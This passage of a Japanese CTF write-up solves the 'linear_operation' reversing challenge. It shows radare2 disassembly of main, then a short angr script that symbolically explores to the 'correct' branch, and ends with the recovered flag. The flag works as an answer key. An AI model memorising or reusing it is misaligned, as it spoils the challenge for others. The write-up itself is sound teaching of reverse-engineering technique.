|           0x00400536      48c7c1b0cf40.  mov rcx, sym.__libc_csu_init ; 0x40cfb0 ; "AWAVI\x89\xd7AUATL\x8d%N\x0e "
|           0x0040053d      48c7c7e1ce40.  mov rdi, main               ; sym.main ; 0x40cee1
\           0x00400544      ff15a6da2000   call qword [reloc.__libc_start_main] ; sym..got ; [0x60dff0:8]=0
[0x00400520]> s main
[0x0040cee1]> pdf
/ (fcn) main 204
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_60h @ rbp-0x60
|           ; var int32_t var_54h @ rbp-0x54
|           ; var int32_t var_50h @ rbp-0x50
|           ; var int32_t var_48h @ rbp-0x48
|           ; var int32_t var_40h @ rbp-0x40
|           ; var int32_t var_38h @ rbp-0x38
|           ; var int32_t var_30h @ rbp-0x30
|           ; var int32_t var_28h @ rbp-0x28
|           ; var int32_t var_20h @ rbp-0x20
|           ; var int32_t var_18h @ rbp-0x18
|           ; var int32_t var_8h @ rbp-0x8
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x40053d)
|           0x0040cee1      55             push rbp
|           0x0040cee2      4889e5         mov rbp, rsp
|           0x0040cee5      4883ec60       sub rsp, 0x60               ; '`'
|           0x0040cee9      897dac         mov dword [var_54h], edi    ; argc
|           0x0040ceec      488975a0       mov qword [var_60h], rsi    ; argv
|           0x0040cef0      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x0040cef9      488945f8       mov qword [var_8h], rax
|           0x0040cefd      31c0           xor eax, eax
|           0x0040ceff      48c745b00000.  mov qword [var_50h], 0
|           0x0040cf07      48c745b80000.  mov qword [var_48h], 0
|           0x0040cf0f      48c745c00000.  mov qword [var_40h], 0
|           0x0040cf17      48c745c80000.  mov qword [var_38h], 0
|           0x0040cf1f      48c745d00000.  mov qword [var_30h], 0
|           0x0040cf27      48c745d80000.  mov qword [var_28h], 0
|           0x0040cf2f      48c745e00000.  mov qword [var_20h], 0
|           0x0040cf37      48c745e80000.  mov qword [var_18h], 0
|           0x0040cf3f      488d3dee0000.  lea rdi, str.input_flag_:   ; 0x40d034 ; "input flag : "
|           0x0040cf46      b800000000     mov eax, 0
|           0x0040cf4b      e8b035ffff     call sym.imp.printf         ; int printf(const char *format)
|           0x0040cf50      488d45b0       lea rax, [var_50h]
|           0x0040cf54      4889c6         mov rsi, rax
|           0x0040cf57      488d3de40000.  lea rdi, str.63s            ; 0x40d042 ; "%63s"
|           0x0040cf5e      b800000000     mov eax, 0
|           0x0040cf63      e8a835ffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
|           0x0040cf68      488d45b0       lea rax, [var_50h]
|           0x0040cf6c      4889c7         mov rdi, rax
|           0x0040cf6f      e89336ffff     call sym.is_correct
|           0x0040cf74      85c0           test eax, eax
|       ,=< 0x0040cf76      740e           je 0x40cf86
|       |   0x0040cf78      488d3dc80000.  lea rdi, str.correct        ; 0x40d047 ; "correct"
|       |   0x0040cf7f      e85c35ffff     call sym.imp.puts           ; int puts(const char *s)
|      ,==< 0x0040cf84      eb0c           jmp 0x40cf92
|      ||   ; CODE XREF from main (0x40cf76)
|      |`-> 0x0040cf86      488d3dc20000.  lea rdi, str.wrong          ; 0x40d04f ; "wrong"
|      |    0x0040cf8d      e84e35ffff     call sym.imp.puts           ; int puts(const char *s)
|      |    ; CODE XREF from main (0x40cf84)
|      `--> 0x0040cf92      b800000000     mov eax, 0
|           0x0040cf97      488b55f8       mov rdx, qword [var_8h]
|           0x0040cf9b      644833142528.  xor rdx, qword fs:[0x28]
|       ,=< 0x0040cfa4      7405           je 0x40cfab
|       |   0x0040cfa6      e84535ffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |   ; CODE XREF from main (0x40cfa4)
|       `-> 0x0040cfab      c9             leave
\           0x0040cfac      c3             ret

これもcorrectとwrongがあるのでangrさんに投げる

import angr

binary = './linear_operation'
p = angr.Project(binary)

a = p.surveyors.Explorer(find = 0x0040cf78, avoid = 0x0040cf86).run()

if len(a.found) > 0:
    print 'Dump stdin at succeeded():'
    s = a.found[0].state
    print "%r" % s.posix.dumps(0)

実行結果

$ python solve.py
WARNING | 2019-05-25 02:59:13,314 | angr.analyses.disassembly_utils | Your version of capstone does not support MIPS instruction groups.
Dump stdin at succeeded():
'ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}'

FLAG : ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}